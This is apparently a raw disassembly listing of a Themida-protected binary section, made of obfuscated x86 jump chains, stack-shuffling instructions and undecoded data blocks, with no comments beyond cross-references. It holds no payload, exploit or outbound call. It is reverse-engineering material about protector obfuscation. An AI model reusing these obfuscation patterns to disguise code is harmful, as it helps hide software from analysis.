jmp loc_5688A9
; ---------------------------------------------------------------------------
dd 88F7814Fh, 0E919D118h, 0FFFFD5B4h, 83242489h, 8B042404h
dd 0C483240Ch, 68505504h, 7DA653D0h, 5E0D158h, 3B8AC127h
dd 2FE9C589h, 83000008h, 0B15104C4h, 6CE98060h, 0F6F1F180h
dd 99D8E9D1h, 0F781FFFFh, 51C96638h, 0E95FFE01h, 111Ch
dd 0FF0715E9h, 4B8FFh, 0EC810000h, 4, 89243C89h, 0D03E9C7h
dd 0E952FFFFh, 39D5h, 2434875Fh, 2404895Ch, 4BF57h, 0F8890000h
dd 0FFC1015Fh, 45E92434h
db 67h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570963: ; CODE XREF: Themida_:0056F1ABj
add dword ptr [esp], 4
jmp loc_56BC6F
; ---------------------------------------------------------------------------
loc_57096C: ; CODE XREF: Themida_:00564D36j
mov eax, 8B522B6h
add eax, 4FC32870h
shl eax, 6
neg eax
dec eax
jmp loc_5697F6
; ---------------------------------------------------------------------------
db 0B8h, 5, 2Bh
dd 0E8312417h, 0A6ADE95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57098E: ; CODE XREF: Themida_:00562B21j
push esp
jmp loc_56CCC4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 4
jmp loc_57184F
; ---------------------------------------------------------------------------
dw 77B8h
dd 31688162h, 0EC8158C3h, 4, 52241C89h, 0FFDA26E9h, 5239B3FFh
dd 0FF4132E9h, 1ECA81FFh, 0C14FED46h, 0C28104EAh, 0FB002119h
dd 148BD101h, 976BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5709DA: ; CODE XREF: Themida_:00571D1Dj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add edx, edi
add edx, 64A033E4h
push dword ptr [edx]
push dword ptr [esp]
jmp loc_56862A
; ---------------------------------------------------------------------------
loc_5709FC: ; CODE XREF: Themida_:00562931j
mov [esp], edx
jmp loc_576775
; ---------------------------------------------------------------------------
dd 210A74BDh, 6C85E908h, 0E95DFFFFh, 0FFFFAE6Bh, 8904EC83h
dd 1CB1240Ch, 0CC0093B4h, 58E30059h, 289BEB80h, 9BC380C3h
dd 8073B252h, 2E97AC2h, 59000011h, 1968DAF7h, 89000053h
dd 11E92414h, 83FFFF10h, 0FF042404h, 45E92434h, 5AFFFFEBh
dd 3932472Dh, 3985E95Bh, 535C0000h, 58E9E389h, 87000037h
dd 895C240Ch, 8BBB241Ch, 81718705h, 70E67EEBh, 8950573Ch
dd 58C789D8h, 13E2E9h, 4C38100h, 87000000h, 335C241Ch
dd 34312434h, 24343324h, 0E924248Bh, 4151h, 54240489h
dd 4047E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_570AAA: ; CODE XREF: Themida_:005761BCj
sub edx, edi
pop edi
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
push esp
pop edi
add edi, 4
jmp loc_56A6D3
; ---------------------------------------------------------------------------
db 0D1h
dd 685155EFh, 53765BF5h, 0CFE98159h, 89FDB40Fh, 0DDF759CDh
dd 3DB0E581h, 0C58151BFh, 2A1CDF75h, 0B4E9EF31h, 66FFFFAFh
dd 6824048Bh, 2DB4h, 81240C89h, 4ECh, 4EC8300h, 83242489h
dd 8F042404h, 0E9562404h, 0FFFFCF8Ch, 4230BA52h, 585275CFh
dd 0E9D8315Ah, 0FFFFDB57h, 8FABA52h, 0B2E957B8h, 6600002Bh
dd 4A4AE95Bh, 0C4830000h, 0E9DAF704h, 0FFFFFD6Eh, 8124048Bh
dd 4C4h, 80C1E900h, 4F68FFFFh, 0FF163E2Bh, 0A7E92434h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_570B57: ; CODE XREF: Themida_:00567063j
xor eax, 3D3105C6h
xor esi, eax
jmp loc_574FAC
; ---------------------------------------------------------------------------
db 0F7h
dd 0F6814ED6h, 0D2888006h, 575EF101h, 4BFh, 5FF90100h
dd 0E9240C87h, 0FFFFE805h, 0E9545550h, 0FFFF49DEh, 60F4BD55h
dd 6C816369h, 101A0824h, 6C0161E0h, 2DE90824h, 31FFFF07h
dd 34332434h, 24248B24h, 0BD242C89h, 176E2C43h, 760268h
dd 24148900h, 0FFFFFFBAh, 9BB850FFh, 35283D73h, 5F864D71h
dd 158C529h, 0EAC581D5h, 5A77BB3Eh, 0C6C68h, 28DAE900h
dd 8B66FFFFh, 0EC83240Ch, 78CCE904h, 0D1F7FFFFh, 86E95155h
dd 0E9FFFF72h, 0FFFF044Ah, 0B6525153h, 8080B15Dh, 0F12857C1h
dd 0FF915FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_570C09: ; CODE XREF: Themida_:0056C912j
push esi
mov esi, 46D769Ah
not esi
push ebx
jmp loc_567E38
; ---------------------------------------------------------------------------
db 89h
dd 9989E9E3h, 6268FFFFh, 89000030h, 6856242Ch, 76BF7913h
dd 0E9DEF75Eh, 7B6h, 0B951E389h, 4D70555Fh, 0FF6B8CE9h
dd 3EB951FFh, 8134045Ah, 0D93CD2E9h, 0A17AE948h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570C52: ; CODE XREF: Themida_:00568043j
add esp, 4
jmp loc_56B7F3
; ---------------------------------------------------------------------------
loc_570C5A: ; CODE XREF: Themida_:00570845j
pop eax
add ebx, ecx
pop ecx
add ebx, 37D72628h
sub ebx, 7DBE7325h
push small word ptr [eax]
jmp loc_561042
; ---------------------------------------------------------------------------
loc_570C72: ; CODE XREF: Themida_:00564D4Bj
pop esp
pop esi
push 20C4h
mov [esp], esi
push edi
push 5DDA1AB0h
pop edi
push edx
push edi
push ebp
jmp loc_567C03
; ---------------------------------------------------------------------------
db 83h
dd 0E95704C4h, 0FFFFFBB6h
; ---------------------------------------------------------------------------
loc_570C94: ; CODE XREF: Themida_:0056C3C9j
push 32ACh
jmp loc_5688B1
; ---------------------------------------------------------------------------
dw 2C87h
dd 34895C24h, 81E68924h, 4ECh, 242C8900h, 4BDh, 2CCCE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_570CBA: ; CODE XREF: Themida_:00564329j
sub esp, 4
mov [esp], eax
add dword ptr [esp], 4E787F73h
mov ebx, [esp]
jmp loc_563234
; ---------------------------------------------------------------------------
dw 77FFh
dd 0AD59E93Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570CDA: ; CODE XREF: Themida_:00565772j
push ebp
not dword ptr [esp]
pop ebp
push ebp
not dword ptr [esp]
pop ebp
add ebp, 0C7F6E569h
jmp loc_565882
; ---------------------------------------------------------------------------
db 58h
dd 4C481h, 0ED810000h, 7FF84AD9h, 0FF52F0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_570D01: ; CODE XREF: Themida_:0056DDEAj
mov edi, esp
push ebp
mov ebp, 678D3380h
shr ebp, 4
dec ebp
not ebp
jmp loc_5658AB
; ---------------------------------------------------------------------------
dd 0F22A805h, 22F2D1Bh, 0EC81216Bh, 4, 81243489h, 4ECh
dd 7E60E900h, 372CFFFFh, 83683504h, 89000069h, 0DFB7241Ch
dd 1C8BF828h, 1C086824h, 2C890000h, 0E9E58924h, 0FFFF920Ch
; ---------------------------------------------------------------------------
loc_570D54: ; CODE XREF: Themida_:00562DF9j
; Themida_:00563A8Bj ...
push edi
push 1BE7h
mov [esp], esp
jmp loc_5747A0
; ---------------------------------------------------------------------------
dw 405h
dd 50000000h, 0FF3FF7E9h, 2434FFFFh, 0E924048Bh, 0FFFFE3EAh
; ---------------------------------------------------------------------------
loc_570D78: ; CODE XREF: Themida_:00572DF1j
sub edi, 131348Ch
and eax, edi
push dword ptr [esp]
pop edi
jmp loc_56EAFE
; ---------------------------------------------------------------------------
loc_570D89: ; CODE XREF: Themida_:0056FEBAj
pop ecx
not edi
or edi, 559030A9h
sub edi, 7987704Bh
add edi, 98E5DAFh
jmp loc_5615A4
; ---------------------------------------------------------------------------
db 0FFh
dd 5A042474h, 5C24048Fh, 23CCE9h, 7EAC100h, 81A3F281h
dd 0D3014A74h, 8BD9295Ah, 8957241Ch, 4C781E7h, 83000000h
dd 0FF5704C7h, 0E9042474h, 0FFFF80AAh, 5C240C87h, 0E9243C89h
dd 0FFFFD7FAh, 0E95DEA31h, 5C0Fh
; ---------------------------------------------------------------------------
loc_570DEC: ; CODE XREF: Themida_:00568718j
and eax, edx
pop edx
jmp loc_5731ED
; ---------------------------------------------------------------------------
aIHj db '‰<$h¦',27h,0
align 4
dd 56240C89h, 2B0486BEh, 75C68151h, 89DDE718h, 9C685EF1h
dd 89000050h, 34FF240Ch, 243C8B24h, 4C481h, 0C4830000h
dd 3ACE904h, 0DAF7FFFFh, 0FF202CE9h, 80F181FFh, 8176AB4Ah
dd 7C68C8F1h, 0EA98E923h, 1D68FFFFh, 0FF61920Ah, 815D2434h
dd 4C4h, 0CCBB5300h, 4B71F951h, 0A3E9D3F7h, 8800001Ah
dd 148B59CFh, 4C48324h, 81240C8Bh, 4C4h, 28F00400h, 0E9F02CF8h
dd 0FFFF5217h, 6652665Ch, 662D00BAh, 5E8EE281h, 70EA8166h
dd 0D00166A0h, 0FF2078E9h, 148B59FFh, 5DE95724h, 8BFFFF09h
dd 85E9242Ch
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570EA7: ; CODE XREF: Themida_:00573AD6j
shr dl, 8
push bx
jmp loc_56715D
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0DCh
dd 134ED0Ah, 8B08246Ch, 0C483242Ch, 241C8B04h, 4C481h
dd 31E90000h, 80FFFF3Ah, 0C680CCEEh, 0DE005961h, 0EAB05066h
dd 5866C628h, 737BE95Bh, 57E9FFFFh, 0BFFFFF01h, 0FD51EBFh
dd 8646EBBh, 5FFB296Dh, 0CCBA53BEh, 1EEE81A2h, 1409237h
dd 1F7FE9DEh, 0C15E0000h, 19E907E6h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_570F13: ; CODE XREF: Themida_:00567681j
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
push edi
mov edi, 4B420F08h
add edi, 0FFFFFFFFh
dec edi
push esi
mov esi, 4B420F02h
sub edi, esi
jmp loc_56D8B7
; ---------------------------------------------------------------------------
db 58h, 29h, 0FBh
dd 123DC381h, 835F3419h, 1C8904ECh, 1C8B5A24h, 4C48324h
dd 0FF2D12E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_570F55: ; CODE XREF: Themida_:0057127Aj
pop ecx
jmp loc_57596F
; ---------------------------------------------------------------------------
db 81h
dd 0A60B90EBh, 4012E94Ah, 815C0000h, 4C4h, 68E1F700h, 39DBh
dd 50241489h, 0C4E99Ch, 0EC83FFFFh, 5520E904h, 0C1830000h
dd 240C3304h, 33240C31h, 5C240Ch, 1E0768D8h, 0C890000h
dd 3E05E924h, 0C4830000h, 0E0895004h, 6ED1BD55h, 0E9456F1Eh
dd 1CEAh, 31311B8h, 3D58E931h, 248B0000h, 0B51AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570FC6: ; CODE XREF: Themida_:0056372Dj
sub ebp, ecx
jmp loc_563C47
; ---------------------------------------------------------------------------
db 52h, 0FFh, 74h
dd 8F5A0424h, 0E95C2404h, 0FFFF2DA0h, 4E240481h, 587B174Bh
dd 0A4D5E955h, 0ED81FFFFh, 0FFFFFFFFh, 5206E5C1h, 30EE68h
dd 0B667E900h, 0E3C1FFFFh, 0CD91E906h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571006: ; CODE XREF: Themida_:0056617Cj
mov ebp, 502539B3h
shr ebp, 6
xor ebp, 6560FF11h
sub ebx, ebp
jmp loc_56D4E9
; ---------------------------------------------------------------------------
loc_57101B: ; CODE XREF: Themida_:005721C8j
mov esp, [esp]
or eax, eax
jnz loc_574C86
push edi
jmp loc_56BAB1
; ---------------------------------------------------------------------------
dd 1FE9E681h, 0EE810E59h, 0FFBEF0CAh, 295EF189h, 5908244Ch
dd 0FFCB1BE9h, 83B7FFh, 2EE959CFh, 51FFFFE6h, 1A4F68h
dd 242C8900h, 0C02DECBDh, 0C581453Dh, 671F0D59h, 555AED81h
dd 0E5C16D4Bh, 51DDF704h, 0FFC374E9h, 0D4E95CFFh, 5FFFFCEh
dd 3E347652h, 4EC835Bh, 83243489h, 2C8904ECh, 6921BD24h
dd 42E97C5Fh
db 4Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571097: ; CODE XREF: Themida_:0056B5A2j
mov [esp], ecx
mov ecx, 2267209Eh
inc ecx
neg ecx
inc ecx
push ecx
xchg edx, [esp]
not edx
xchg edx, [esp]
pop ecx
neg ecx
sub ecx, 0DD98DF5Fh
jmp loc_567899
; ---------------------------------------------------------------------------
dw 8956h
dd 4C681E6h, 57000000h, 5890BE56h, 97E97EE7h, 8FFFFF01h
dd 2BE5E902h, 0C0830000h, 932CE901h, 0DE01FFFFh, 4C6815Bh
dd 56000000h, 42474FFh, 24048F5Eh, 6824248Bh, 1F81h, 56243C89h
dd 2D14E9h
db 0
; ---------------------------------------------------------------------------
loc_571101: ; CODE XREF: Themida_:005758A1j
or ebp, 291952BEh
jmp loc_5610D3
; ---------------------------------------------------------------------------
loc_57110C: ; CODE XREF: Themida_:0057207Fj
add esp, 4
push 711Fh
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
push 6B9Dh
mov [esp], ecx
mov ecx, 4
add ebp, 67045F6Eh
jmp loc_574D56
; ---------------------------------------------------------------------------
dw 8158h
dd 647145EDh, 0A6B8507Eh, 2565E104h, 78A256D3h, 754AC205h
dd 58C529A0h, 335CC581h, 0E58122AFh, 79C6676Ch, 0FF74E995h
dd 6C01FFFFh, 25E90424h, 5BFFFF09h, 19E9F931h, 8B00004Dh
dd 0C481241Ch, 4, 0FF4B48E9h, 241489FFh, 4BAh, 0C2C58100h
dd 177E43Ch, 0C2ED81D5h, 8B77E43Ch, 83E92414h, 80000056h
dd 0E98049E1h, 0AE48E968h, 0F681FFFFh, 26236FCh, 3208C681h
dd 0F789204Ah, 90C3815Eh, 0E9777B1Fh, 1A48h, 6824248Bh
dd 0
dd 24FFBE56h, 5FE96259h, 66FFFFDEh, 66243487h, 6677D968h
dd 66243489h, 0E9243C31h, 2168h, 24048B66h, 4EC8353h, 50242489h
dd 4B8h, 24440100h, 0E95B5804h, 0FFFFF978h, 586468h, 240C8900h
dd 0D5F6C4B5h, 0F580CDFEh, 0D6C58023h, 0FFED16E9h, 3E1C1FFh
dd 29EAE981h, 0CB89CC80h, 0FF3696E9h, 0FECAFEFFh, 356BE9CAh
dd 0A368FFFFh, 0E900005Dh, 0FFFF52AFh, 240C8B66h, 0DAFEE950h
dd 0C483FFFFh, 4C18104h, 53000000h, 4BBh, 5BD90100h, 31240C33h
dd 0C33240Ch, 24248B24h, 0FF7E19E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571271: ; CODE XREF: Themida_:0057157Dj
mov ch, 7
add ch, bh
pop ebx
mov dl, 3Ah
add dl, ch
jmp loc_570F55
; ---------------------------------------------------------------------------
db 81h
dd 0A95E97EAh, 27DAE911h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57128A: ; CODE XREF: Themida_:0056808Cj
mov ebx, [esp]
add esp, 4
push eax
mov ah, dh
mov bh, ah
mov eax, [esp]
push edi
push esp
jmp loc_561B63
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 240C8900h, 88534FB1h, 0E9DE88CBh, 0FFFF91AFh
dd 4E02EEC1h, 256DE9h, 81C10100h, 3213EFE9h, 24048B44h
dd 0E904C483h, 0FFFFC24Ah, 4ED0C781h, 0E958470Dh, 0FFFFC194h
dd 24048966h, 0FEFD5DE9h, 455B05FFh, 0BEE92E54h, 53FFFF41h
dd 2777B951h, 0CB8904CAh, 0FF782DE9h, 0B8505FFFh, 2, 25C6C581h
dd 0C5015060h, 38C8E9h, 0E6EF8100h, 5B5B2C27h, 0FF47E8E9h
dd 4E9ACFFh, 81FFFFF4h, 91247DEAh, 74E94A58h, 2900002Ah
dd 0DD295FFBh, 83241C8Bh, 2C8704C4h, 89665C24h, 50662414h
dd 0FCF8E99Ch, 162DFFFEh, 151AC2Bh, 2B1605F0h, 0D30551ACh
dd 0E96AE15Dh, 30BDh, 13B0C381h, 0D9292DA5h, 0B1E9815Bh
dd 8158CF37h, 373896C1h, 0F3E98152h, 0E96A096Dh, 0FFFF0214h
dd 8107E9C1h, 9B766DE9h, 59CE8986h, 3AE3E9h, 8BD00100h
dd 0C4832414h, 3B6E904h, 835DFFFFh, 148704EAh, 24248B24h
dd 54242C89h, 83242C8Bh, 0BE5604C4h, 2DD656D6h, 623C68h
dd 242C8900h, 2BB5350h, 43734B25h, 1B85C381h, 0E381779Dh
dd 6FB37BF6h, 1E56C381h, 0EBC1786Dh, 40C38106h, 891641D4h
dd 2B43E9D8h, 0D6F70000h, 0FFC551E9h, 54E94FFFh, 29FFFFE2h
dd 0ADE953D8h, 89000028h, 0E0892404h, 0A19DE953h, 0E789FFFFh
dd 4C781h, 53E90000h
db 19h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571417: ; CODE XREF: Themida_:0056C66Fj
pop ebx
jmp loc_56A97A
; ---------------------------------------------------------------------------
loc_57141D: ; CODE XREF: Themida_:00564A1Bj
add edi, 4
jmp loc_56DDE2
; ---------------------------------------------------------------------------
loc_571428: ; CODE XREF: Themida_:00562694j
mov edx, [esp]
add esp, 4
pop ebx
mov dl, ch
pop ecx
push 690Ah
mov [esp], ebx
push 73FDh
mov [esp], ecx
mov cl, dl
jmp loc_57394B
; ---------------------------------------------------------------------------
db 35h, 10h, 62h
dd 0C60129A0h, 0FF7FB4E9h, 0E5E958FFh, 1000047h, 5B6E9EEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_571462: ; CODE XREF: Themida_:00562EC6j
neg ebp
add ebp, 9A1BC946h
and ebp, 535C2EBBh
inc ebp
dec ebp
inc ebp
push ebx
mov ebx, 0B5E0D1Ah
sub ebp, ebx
jmp loc_56E857
; ---------------------------------------------------------------------------
loc_571480: ; CODE XREF: Themida_:0057180Bj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ecx
push ebx
add dword ptr [esp], 1A6808DDh
mov ecx, [esp]
add esp, 4
sub ecx, 1A6808DDh
push ebx
mov ebx, ecx
mov eax, ebx
jmp loc_56FFB7
; ---------------------------------------------------------------------------
db 0BEh, 2, 0
dd 0F1050000h, 56E564Ah, 5C841ACDh, 0F36F0B05h, 5DD32D41h
dd 7FE96AE1h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5714CB: ; CODE XREF: Themida_:0056EAA8j
sub edx, 5CE90B2Eh
sub edx, ebx
push edi
mov edi, 5CE90B2Eh
add edx, edi
pop edi
mov ebx, [esp]
add esp, 4
jmp loc_572D2D
; ---------------------------------------------------------------------------
db 0B9h
dd 4, 8159C801h, 4ECh, 510E900h, 51680000h, 0E900001Ah
dd 2607h, 4055Ch, 0E9570000h, 4D2Eh, 217577BBh, 41F38130h
dd 0E921EF29h, 0FFFF6CF5h, 8F66C331h, 42CE900h, 0EC830000h
dd 24048904h, 1250BD55h, 46E909CBh, 5BFFFFF4h, 0FFCE69E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571541: ; CODE XREF: Themida_:00566CB8j
pop ebp
xchg ebx, [esp]
pop esp
mov [esp], ebx
jmp loc_562C3A
; ---------------------------------------------------------------------------
dw 0CF68h
dd 89000034h, 268243Ch, 5F000000h, 0FF0088E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571561: ; CODE XREF: Themida_:00574E1Ej
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 709DD54Ah
xor ebx, ecx
jmp loc_561448
; ---------------------------------------------------------------------------
loc_571579: ; CODE XREF: Themida_:0057203Bj
push ecx
push ebx
mov bh, 0DFh
jmp loc_571271
; ---------------------------------------------------------------------------
dw 8B66h
dd 0CB682404h, 89000069h, 51E92434h, 68FFFFB7h, 3DABh
dd 89241489h, 4C281E2h, 51000000h, 7412B850h, 0F2B90211h
dd 0E9FDEE8Bh, 4A7Dh, 0E9241C87h, 0FFFF60B2h, 0E95FFA01h
dd 0FFFFFDCDh, 4EC81h, 2C890000h, 2F07E924h, 0E95B0000h
dd 0FFFF1909h, 1E13F781h, 98685EBFh, 8900000Eh, 68BB241Ch
dd 816CEC2Bh, 6E4A3CC3h, 5BDF09A0h, 0CD8E781h, 0C78152C0h
dd 0DC9D4B03h, 535FFA29h, 25FFB951h, 12E91F95h, 81FFFFFCh
dd 8E05A4F2h, 0E835E95Fh, 5756FFFFh, 473C6851h, 0E959245Ah
dd 8FFh, 0E0C0C8FEh, 0A0B25202h, 9BE9D000h, 5F000049h
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 15C243Ch, 34335DEEh
dd 24343124h, 0E9243433h, 3C93h, 50E9D7F7h, 89FFFFCBh
dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 5EB2E95Ch, 0C781FFFFh
dd 4, 4EF81h, 3C870000h, 24895C24h, 24048324h, 243C8B04h
dd 0FFCE8FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571699: ; CODE XREF: Themida_:005689A7j
and ecx, 2A1B4657h
push eax
jmp loc_56F2DD
; ---------------------------------------------------------------------------
loc_5716A5: ; CODE XREF: Themida_:0056F058j
pop ebx
push esi
push edx
jmp loc_56C684
; ---------------------------------------------------------------------------
loc_5716AD: ; CODE XREF: Themida_:00561901j
xor ecx, [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
add dword ptr [esp], 4F90419Dh
jmp loc_5668D3
; ---------------------------------------------------------------------------
dw 0E957h
dd 0FFFFFD42h
; ---------------------------------------------------------------------------
loc_5716C8: ; CODE XREF: Themida_:0056F626j
mov edx, [esp]
add esp, 4
sub edx, 79385781h
pop ebp
jmp loc_5690AB
; ---------------------------------------------------------------------------
dw 0E951h
dd 0FFFFD3FDh, 8106EBC1h, 7B397CE3h, 54BE5660h, 31007A08h
dd 0F1AEE9F3h, 2BBAFFFFh, 0F7617B2Fh, 8C281DAh, 29CBFE9Eh
dd 0E8015AD0h, 836EDD05h, 242C8B6Ah, 0FF4BB1E9h, 24248BFFh
dd 9C243CD2h, 0FEF921E9h, 243487FFh, 8F24248Bh, 0E95C2404h
dd 41B4h, 8759CE01h, 815C2434h, 4C5h, 703E900h, 685AFFFFh
dd 11C4h, 0E9241489h, 0FFFFED5Fh, 685BD929h, 2625h, 0FF10FAE9h
dd 43D5BFFFh, 0A0E93CA1h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571767: ; CODE XREF: Themida_:00567932j
mov esi, [esp]
push edx
jmp loc_56AF57
; ---------------------------------------------------------------------------
loc_571770: ; CODE XREF: Themida_:00575FCDj
mov edi, 4D754AF6h
not edi
sub edi, 3D6324F0h
not edi
push ecx
jmp loc_57525C
; ---------------------------------------------------------------------------
loc_571785: ; CODE XREF: Themida_:00565EE1j
mov ebp, esi
pop esi
inc ebp
jmp loc_56FA2D
; ---------------------------------------------------------------------------
dw 5557h
dd 0AA7D90BDh, 0BCE4E944h, 0DF89FFFFh, 5B5FFD89h, 15BDD01h
dd 0C875DE9h, 24248B24h, 9C242CD2h, 0FEF88DE9h, 447D68FFh
dd 0C890000h, 53595424h, 4EC81h, 0C890000h, 44EDB924h
dd 0F6684E70h, 0E9000045h, 0FFFFB01Fh
; ---------------------------------------------------------------------------
loc_5717D8: ; CODE XREF: Themida_:00569687j
add ebx, 0BC608489h
push 7A2Eh
mov [esp], edx
push ebx
mov ebx, 107D4960h
mov edx, 78FE23C0h
xor edx, ebx
pop ebx
add eax, 53B50786h
add eax, edx
push ebx
mov ebx, 53B50786h
sub eax, ebx
jmp loc_56F46A
; ---------------------------------------------------------------------------
loc_571808: ; CODE XREF: Themida_:0056B023j
xor edx, [esp]
jmp loc_571480
; ---------------------------------------------------------------------------
dd 9C240420h, 0FEF829E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571819: ; CODE XREF: Themida_:0056E2E6j
mov [esp], esp
jmp loc_564B28
; ---------------------------------------------------------------------------
db 81h, 0E9h, 46h
dd 29A621EAh, 0C28159CAh, 2B9442C5h, 7E9F201h, 8B00004Eh
dd 0C4812404h, 4, 718968h, 24348900h, 9E95E54h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57184F: ; CODE XREF: Themida_:0057099Dj
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
push 0FFFh
jmp loc_5629F5
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 0E6895658h, 4C681h, 0C6830000h, 24348704h
dd 4EC815Ch, 0E9000000h, 0FFFFA5E3h
; ---------------------------------------------------------------------------
loc_571888: ; CODE XREF: Themida_:00565428j
push ecx
jmp loc_566929
; ---------------------------------------------------------------------------
dw 0A7BBh
dd 0E94FA312h, 0FFFFFAC8h
; ---------------------------------------------------------------------------
loc_571898: ; CODE XREF: Themida_:005652D9j
push dword ptr [esp+4]
jmp loc_56B185
; ---------------------------------------------------------------------------
db 46h, 0C1h, 0EEh
dd 6EEC103h, 0FF7437E9h, 91E95AFFh, 8BFFFF26h, 0C481241Ch
dd 4, 2C8BE901h, 45B2E924h, 248B0000h, 0E9F9F624h, 0FFFF836Bh
dd 0B9240C89h, 4, 0E0E9CA29h, 31FFFFBFh, 0C2815FFAh, 346D3B70h
dd 43F9E281h, 0A8E937E7h, 59FFFF10h, 66B4B353h, 2414F653h
dd 0D3F65B66h, 8006C380h, 0CB8001EBh, 4C1CE9A9h, 3C31FFFFh
dd 243C3324h, 0E924248Bh, 0FFFFFEF4h, 8159CE01h, 0A541A4C2h
dd 0F0EA813Fh, 14E3F0Bh, 0F0B951F2h, 814E3F0Bh, 2B6676C2h
dd 81CA0149h, 2B6676EAh, 0EA815949h, 3FA541A4h, 8124348Bh
dd 4C4h, 0F6ECE900h, 0E7E9FFFEh
db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_57195B: ; CODE XREF: Themida_:0056FF79j
sub esp, 4
mov [esp], ebx
sub dword ptr [esp], 5F7542C5h
push dword ptr [esp]
jmp loc_565BB8
; ---------------------------------------------------------------------------
dd 0E7EE954h, 0BE56FFFFh, 4, 4247401h, 24048B5Eh, 5304C483h
dd 0F67C96BBh, 12CBE927h, 0EA81FFFFh, 8568AE03h, 34FFD501h
dd 0ED685A24h, 8900003Fh, 0E189240Ch, 0FFA069E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5719AD: ; CODE XREF: Themida_:00575C05j
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_5679C4
; ---------------------------------------------------------------------------
loc_5719C1: ; CODE XREF: Themida_:0057689Aj
shl edx, 2
sub edx, 0C38B02DFh
jmp loc_564FFD
; ---------------------------------------------------------------------------
loc_5719CF: ; CODE XREF: Themida_:005665FBj
sub ebx, 15155836h
add ebx, 3DD39AEh
sub esp, 4
mov [esp], ecx
push eax
push 1F872F2Ch
pop eax
xor eax, 8B802D1h
jmp loc_570843
; ---------------------------------------------------------------------------
aF1Sa db 'f1,$éa)',0
dw 400h
aUfsI db 'žfS·¨',0
dw 66F8h
aS5 db '[éÜ5',0
align 2
dw 3C89h
dd 3CBE5624h, 0E933D535h, 0FFFFFD45h, 83242C8Bh, 0C68304C4h
dd 24348702h, 6624248Bh, 9C240401h, 0FEF611E9h, 81E589FFh
dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFBFC3h, 685EF101h, 3FFFh
dd 2331E9h
db 0
; ---------------------------------------------------------------------------
loc_571A51: ; CODE XREF: Themida_:00561729j
push dword ptr [esp]
jmp loc_563C8F
; ---------------------------------------------------------------------------
loc_571A59: ; CODE XREF: Themida_:00568DA7j
add eax, 3664897h
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5622D8
; ---------------------------------------------------------------------------
align 2
dw 0E9E3h
dd 1132h, 0E980C7B1h, 59C800C1h, 0FE58C700h, 66EFD0CFh
dd 6BB450h, 2C5866E7h, 0E9F82821h, 0FFFF5EAFh, 0C62EEB81h
dd 0DD291E04h, 0FFFE16E9h, 3964BDFFh, 0E9294EA9h, 0CBE9815Dh
dd 1005759h, 0CBC181D9h, 56005759h, 0A8702FBEh, 81DEF763h
dd 3A6F59C6h, 81D6F724h, 3B388FC6h, 59F9E90Fh, 0C481FFFFh
dd 4, 2C681h, 0EC810000h, 4, 0FF243489h, 8B042474h, 89522434h
dd 515751E2h, 882475B9h, 4149417Fh, 5F59F181h, 0F1817703h
dd 2C8C540Dh, 0C159CF89h, 0EFC105EFh, 0E1EF8106h, 0E9000480h
dd 0FFFFE350h, 8012EA80h, 0D72859EAh, 0B4F7805Ah, 525BFE28h
dd 8033B151h, 0CA88A2E9h, 0AACA8059h, 0FF28C7E9h, 16F280FFh
dd 0E2C0DAF6h, 0FB05005h, 34E9C200h, 57FFFFCBh, 0FFE92DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571B51: ; CODE XREF: Themida_:005729BCj
sub esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5758ED
; ---------------------------------------------------------------------------
loc_571B6F: ; CODE XREF: Themida_:00563F3Fj
push 60D5728Eh
pop esi
push ebx
mov ebx, 0ABE2E88Ch
jmp loc_573B19
; ---------------------------------------------------------------------------
loc_571B80: ; CODE XREF: Themida_:00564634j
or esi, 1BBC191Ch
not esi
add esi, 3FFE7B64h
sub edx, esi
pop esi
jmp loc_56F9EC
